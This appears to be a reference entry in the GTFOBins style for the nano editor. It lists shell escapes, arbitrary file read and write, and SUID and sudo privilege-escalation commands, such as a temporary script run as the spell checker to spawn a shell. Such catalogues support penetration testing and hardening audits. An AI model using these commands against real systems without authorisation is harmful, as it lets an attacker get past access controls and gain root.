--- functions: shell: - code: | nano ^R^X reset; sh 1>&0 2>&0 - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF nano -s $TF /etc/hosts ^T file-write: - code: | nano file_to_write DATA ^O file-read: - code: nano file_to_read suid: - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | TF=$(mktemp) echo 'exec sh -p' > $TF chmod +x $TF ./nano -s $TF /etc/hosts ^T sudo: - code: | sudo nano ^R^X reset; sh 1>&0 2>&0 - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. code: | TF=$(mktemp) echo 'exec sh' > $TF chmod +x $TF sudo nano -s $TF /etc/hosts ^T ---